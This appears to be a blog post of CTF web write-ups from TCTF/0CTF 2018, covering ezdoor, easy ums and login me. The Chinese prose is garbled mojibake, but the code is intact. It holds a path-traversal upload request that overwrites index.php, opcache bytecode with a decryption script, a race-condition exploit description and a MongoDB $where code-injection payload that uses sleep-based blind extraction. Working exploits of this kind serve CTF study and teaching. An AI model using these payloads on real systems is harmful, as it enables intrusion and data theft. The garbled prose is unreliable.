LoRexxar's Blog

TCTF/0CTF2018 閮ㄥ垎Web Writeup

2018/04/05

ezdoor

棰樼洰涓婃潵灏辨槸浠g爜瀹¤锛屽厛鐪嬬湅浠g爜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
error_reporting(0);
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}
function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}
if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}
$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}

寰堢畝鍗曠殑浠g爜锛屽樊涓嶅灏辨槸锛屼綘鍙互涓婁紶浠绘剰鏂囦欢锛屼絾娌℃湁鏉冮檺璁块棶涓婁紶鐨勬枃浠躲

鎵浠ユ濊矾寰堟竻妤氾紝闇瑕佹兂鍔炴硶瑕嗙洊index.php

寰堢畝鍗曪紝鐢x/../index.php/.灏卞彲浠ョ粫杩

鏋勯犺姹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /?action=upload&name=x/../index.php/. HTTP/1.1
Host: 202.120.7.217:9527
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------18588164571683579890682678358
Content-Length: 420
Cookie: PHPSESSID=mu9mc6r8n7ccenpb94rrd1ibk5
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------18588164571683579890682678358
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/php
<?php echo 2333;?>
-----------------------------18588164571683579890682678358
Content-Disposition: form-data; name="submit"
Submit
-----------------------------18588164571683579890682678358--

鎺ヤ笅鏉ュ氨鏄涓涓/var/www/html/flag/閲岀殑鏂囦欢锛屾嬁鍒版枃浠93f4c28c0cf0b07dfd7012dca2cb868cc0228cad

浠庢枃浠剁殑缁撴瀯鏉ョ湅鏄痯hp鐨刼pcache鏂囦欢

鎯冲埌鍙互鐢ㄥ緢涔呬互鍓嶆彁鍒拌繃鐢ㄦ潵鍒嗘瀽opcache webshell鐨勫伐鍏

褰撴椂鍐欒繃鐨勭炕璇戞枃

宸ュ叿閾炬帴
https://github.com/GoSecure/php7-opcache-override

宸ュ叿寰堜箙浜嗭紝鐩存帴pull涓嬫潵鏄窇涓嶈捣鏉ョ殑锛岄渶瑕佸湪py2.7涓嬪畨2.8.3宸﹀彸鐨刢onstruct搴擄紝鐒跺悗宸ュ叿灏辫兘鐢ㄤ簡銆

浣嗘槸涓棿寰堥暱鏃堕棿鐨勯兘浼氭姤閿欙紝鍒板緢鏅氭墠鍙戠幇锛屽湪opcache鐨勬枃浠剁粨鏋勪笂锛屾渶寮濮嬫槸鐢OPCACHE\x00浣滀负寮濮嬬殑锛屼絾鑾峰彇鍥炴潵涓嶇煡閬撲负浠涔堟病鏈夎繖涓\x00锛屼慨鏀规枃浠朵箣鍚庢垚鍔熻幏鍙栧埌浜唒hp婧愪唬鐮佺殑瀛楄妭鐮併

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
function encrypt() {
#0 RECV(!0, None);
#1 RECV(!0, None);
#2 !0 = INIT_FCALL(!0, 'mt_srand');
#3 !0 = SEND_VAL(1337, !0);
#4 DO_ICALL(!0, !0);
#5 ASSIGN(None, '');
#6 STRLEN(None, !0);
#7 ASSIGN(None, None);
#8 STRLEN(None, !0);
#9 ASSIGN(None, None);
#10 ASSIGN(None, 0);
#11 JMP(->-24, None);
#12 !0 = INIT_FCALL(!0, 'chr');
#13 !0 = INIT_FCALL(!0, 'ord');
#14 FETCH_DIM_R(None, None);
#15 !0 = SEND_VAR(None, !0);
#16 DO_ICALL(!0, !0);
#17 !0 = INIT_FCALL(!0, 'ord');
#18 MOD(None, None);
#19 FETCH_DIM_R(None, None);
#20 !0 = SEND_VAR(None, !0);
#21 DO_ICALL(!0, !0);
#22 BW_XOR(None, None);
#23 !0 = INIT_FCALL(!0, 'mt_rand');
#24 !0 = SEND_VAL(0, !0);
#25 !0 = SEND_VAL(255, !0);
#26 DO_ICALL(!0, !0);
#27 BW_XOR(None, None);
#28 !0 = SEND_VAL(None, !0);
#29 DO_ICALL(!0, !0);
#30 ASSIGN_CONCAT(None, None);
#31 PRE_INC(None, !0);
#32 IS_SMALLER(None, None);
#33 JMPNZ(None, ->134217662);
#34 !0 = INIT_FCALL(None, 'encode');
#35 !0 = SEND_VAR(None, !0);
#36 DO_UCALL(!0, !0);
#37 !0 = RETURN(None, !0);
}
function encode() {
#0 RECV(!0, None);
#1 ASSIGN(None, '');
#2 ASSIGN(None, 0);
#3 JMP(->-81, None);
#4 !0 = INIT_FCALL(None, 'dechex');
#5 !0 = INIT_FCALL(None, 'ord');
#6 FETCH_DIM_R(None, None);
#7 SEND_VAR(None, !0);
#8 DO_ICALL(!0, !0);
#9 SEND_VAR(None, !0);
#10 DO_ICALL(!0, !0);
#11 ASSIGN(None, None);
#12 STRLEN(None, !0);
#13 IS_EQUAL(None, 1);
#14 JMPZ(None, ->-94);
#15 CONCAT('0', None);
#16 ASSIGN_CONCAT(None, None);
#17 JMP(->-96, None);
#18 ASSIGN_CONCAT(None, None);
#19 PRE_INC(None, !0);
#20 STRLEN(None, !0);
#21 IS_SMALLER(None, None);
#22 JMPNZ(None, ->134217612);
#23 !0 = RETURN(None, !0);
}
#0 ASSIGN(None, 'input_your_flag_here');
#1 !0 = INIT_FCALL(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', !0);
#3 SEND_VAR(None, !0);
#4 DO_UCALL(!0, !0);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 !0 = ECHO('Congratulation! You got it!', !0);
#8 !0 = EXIT(!0, !0);
#9 !0 = ECHO('Wrong Answer', !0);
#10 !0 = EXIT(!0, !0);

鏍规嵁php鐨勪竴浜涙枃妗o紝閫愭鍒嗘瀽瀛楄妭鐮侊紝鐚滄祴婧愮爜锛屽叾涓渶楹荤儲鐨勫潙鍙兘灏辨槸鍙橀噺涓嶇‘瀹氬惂锛屼腑闂寸殑寰堝寰幆閮芥湁闂

http://php.net/manual/ro/internals2.opcodes.list.php

鏈缁堣繕鍘熷嚭鏉ョ殑浠g爜杩戜技浜庯紝鍏朵腑encode鍑芥暟鐚滄祴鍜宲ython鐨encode('hex')鐩稿悓

1
2
3
4
5
6
7
8
9
10
11
12
13
encrypt(pwn, data) {
mt_srand(1337)
$160 = strlen(pwn);
$144 = strlen(data);
$cipher = "";
for ($176=0;$176<$160;$176++) {
$cipher .= chr(ord(data[$176]) ^ ord(pwn[$176%144])^mt_rand(0,255))
}
return encode($cipher);
}
encrypt("flag", "this_is_a_very_secret_key") == "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab"

鐩存帴鍐檖ython浠g爜閫嗚繍绠椾竴涓

1
2
3
4
5
6
7
8
9
10
11
12
secret = "this_is_a_very_secret_key"
result = "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab"
mt_rand = [151,189,92,232,167,217,167,90,114,82,84,72,9,134,182,90,23,152,129,27,93,6,22,114,194,105,104,203,65,60,215,147,238,81,111,91,179,57,195,148,8,72,61,71,122,91,137,196,223,225,76,134,196,244,114,245,174,247,20,18,26,195,105,162,170,196,251,8,78,230,131,88,93,136,47,71,132,227,18,189,9,241,92,77,50,76,176,45,179,184,242,161,173,0,49,73,84,255,45,226]
j=0
s = ""
for i in result.decode('hex'):
s+=chr(ord(i)^mt_rand[j]^ord(secret[j%len(secret)]))
j+=1
print s

杩欓噷鏈変釜寰堥渶瑕佹敞鎰忕殑鐐瑰氨鏄紝杩欓噷鐨mt_rand闇瑕乸hp7.2.x浠ヤ笂鐢熸垚鐨勬暟鎹紝涓嶇劧闅忔満鏁扮敓鎴愮粨鏋滀笉鍚屻

easy ums

杩欓鐪熺殑鏄緢鍧戝緢鍧戠殑棰樼洰锛屾瘮璧涙椂閬囧埌涓鐩寸寽娴嬫槸鍜宒ns鎴栬呰姹傚簱鏈夊叧鐨勬紡娲烇紝缁撴灉娌℃兂鍒版槸涓涓瘮杈冪畝鍗曠殑鏉′欢绔炰簤銆

闄勪笂涓鐗囧埆浜虹殑Writeup

https://coxxs.me/676

棰樼洰鏉′欢鐗瑰埆灏戯紝澶ф剰灏辨槸锛屾敞鍐屾椂鐨勬墜鏈哄彿濉玦p锛岄獙璇佺爜浼氶氳繃鎯砳p鐨80绔彛鍙戦佽姹傛潵鍙戦侀獙璇佺爜銆

澶ц嚧灏辨槸杩欐牱

1
202.120.7.196 - - [04/Apr/2018:23:48:46 +0800] "HEAD /?86beaba44806e4ed007aecef7ed1ab15 HTTP/1.1" 200 0 "-" "-" -

鐢ㄨ繖涓獙璇佺爜鍙互楠岃瘉ip锛屼綘灏卞彲浠ユ妸鑷繁鐢ㄦ埛鐨刬p淇敼涓烘寚瀹氱殑锛屽綋浣犲彲浠ヤ慨鏀逛负8.8.8.8鏃讹紝浣犲氨鍙互寰楀埌flag銆

鐧婚檰鎴愬姛鍚庡彧鏈変竴涓慨鏀规墜鏈哄彿鐨勫姛鑳姐

鍋囪鎴戜滑璇曞浘淇敼鑷繁鐨勯獙璇乮p鏃

image.png-31.9kB

鎴戜滑鍙互鍙戦佽繖娆ost璇锋眰寤舵椂闈炲父澶э紝涓庢垜浠钩鏃朵唬鐮佷功鍐欎範鎯笉鍚岋紝杩欓噷搴旇鏄秹鍙婂埌浜嗗鏁版嵁搴撶殑鎿嶄綔銆

杩欐椂鍊欏亣璁炬垜浠敤鍙︿竴涓祻瑙堝櫒鐧诲綍鐨勮瘽锛屽彲浠ュ彂鐜癷ndex.php椤甸潰娌℃湁鏀跺埌浠讳綍鏀瑰彉锛屼絾濡傛灉鎴戜滑鍦ㄥ墠涓涓祻瑙堝櫒鐨剉erify.php缁х画鎵ц鐨勮瘽锛屼粛鐒跺彲浠ヤ慨鏀癸紝閭d箞鎴戜滑鍙互鐚滄祴鍚庡彴鏁版嵁搴撶殑缁撴瀯澶ц嚧涓

1
2
3
userid
new_ip
is_verify

鍦ㄦ垜浠彂璧疯姹傜殑鏃跺欙紝杩欓噷瀵规暟鎹簱杩涜浜嗘彃鍏ユ柊鏁版嵁锛岃宨ndex.php椤甸潰鍒欐槸鑾峰彇浜嗙被浼间簬(userid, is_verify)鍙岄檺鍒剁殑鏁版嵁搴撶粨鏋溿

濡傛灉鍚庡彴鏄被浼间簬杩欐牱鐨勭粨鏋勬椂锛屽亣璁炬垜浠湪鍙戣捣淇敼涓8.8.8.8鐨勮姹傛椂锛屼娇鐢ㄥ凡缁忚幏鍙栫殑鏃х殑token鐮佹洿鏂伴獙璇侊紝灏辨湁鍙兘灏8.8.8.8鏇存柊涓烘垜浠殑ip銆

闇瑕佹敞鎰忕殑涓鐐瑰氨鏄紝杩欓噷瀵瑰崟鐙殑seesion璇锋眰锛岃姹傛槸鍗曠嚎绋嬪鐞嗙殑锛屼篃灏辨槸涓嶅瓨鍦ㄧ珵浜夛紝杩欓噷蹇呴』鐢ㄤ笉鍚宻ession绔炰簤鎵嶈兘鎴愬姛銆

1
tctf{session_database_keep_updated}

login me

杩欎釜棰樺湪鎴戠湅鏉ュ叾瀹炴槸涓涓尯鐭涚浘鐨勯鐩紝鏈夋剰鎬濈殑鏄畠鐨勫埄鐢ㄧ偣鍜屾柟寮忓緢鏈夎叮锛屼絾鍙堟湁寰堝鏃犺叮鐨勭偣銆

浠g爜濡備笅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
var express = require('express')
var app = express()
var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));
var path = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "XXXXXXXXXXXXXXXXXXXXXX";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);
app.get('/', function (req, res) {
res.sendFile(path.join(__dirname,'index.html'));
})
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
var query = {"$where" : check_function};
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})
app.listen(8081)
});

寰堝鏄撳氨鑳界湅鍑烘潵鏍稿績浠g爜锛屽氨鏄悗闈竴閮ㄥ垎

鍒濈湅鍒拌繖涓鐩叾瀹炲緢瀹规槗姝ゼ锛屽緢瀹规槗鎶婇棶棰樻兂鍒癿ongdb娉ㄥ叆涓婏紝瀹為檯涓婇鐩槸涓涓唬鐮佹敞鍏ャ

鍥犱负req.body鏄垜浠彂閫佺殑璇锋眰锛岄偅涔堟垜浠氨鍙互鎺у埗姝e垯琛ㄨ揪寮忔潵鏇挎崲鍐呭锛岄氳繃鍚堢悊鐨勬鍒欙紝鎴戜滑鍙互鏇挎崲涓哄this.password鐨勬搷浣滐紝鐒跺悗閫氳繃js浠g爜鎵ц鏉ヨ幏鍙栨暟鎹

杩欐槸鎴戜滑鐨勬渶缁坧ayload

1
|#|=&|this.*"\)|=&|==|[]=%7C%7Ceval(&%7C%22%22+%5C%5B%22%7C=a&%7Ca%22%7C=%2B&%7C%22%2B%7C=&%7C%22%22%5C%5D%2b%7C=aaaa&%7Caaaa%22%7C=%2B&%7C%5C)%7B%7C%5B%5D=bbb).match(/^13fc892df79a86494792e14dcbef252a'+i+'.*/)){sleep(1000);}else{return%20&|\["|=&|""b|=%2b&|"bb|=&|return(\s.*)*0|=11111

閫氳繃淇敼杩欓噷鐨刴atch鏉ュ尮閰嶅瘑鐮侊紝濡傛灉涓虹湡鍒檚leep锛岄氳繃杩欐牱鐨勬柟寮忥紝鎴戜滑鎴愬姛鎶婁唬鐮佹敞鍏ユ敼鎴愪簡涓涓洸娉紝鍚庨潰灏卞緢绠鍗曚簡銆

CATALOG
  1. 1. ezdoor
  2. 2. easy ums
  3. 3. login me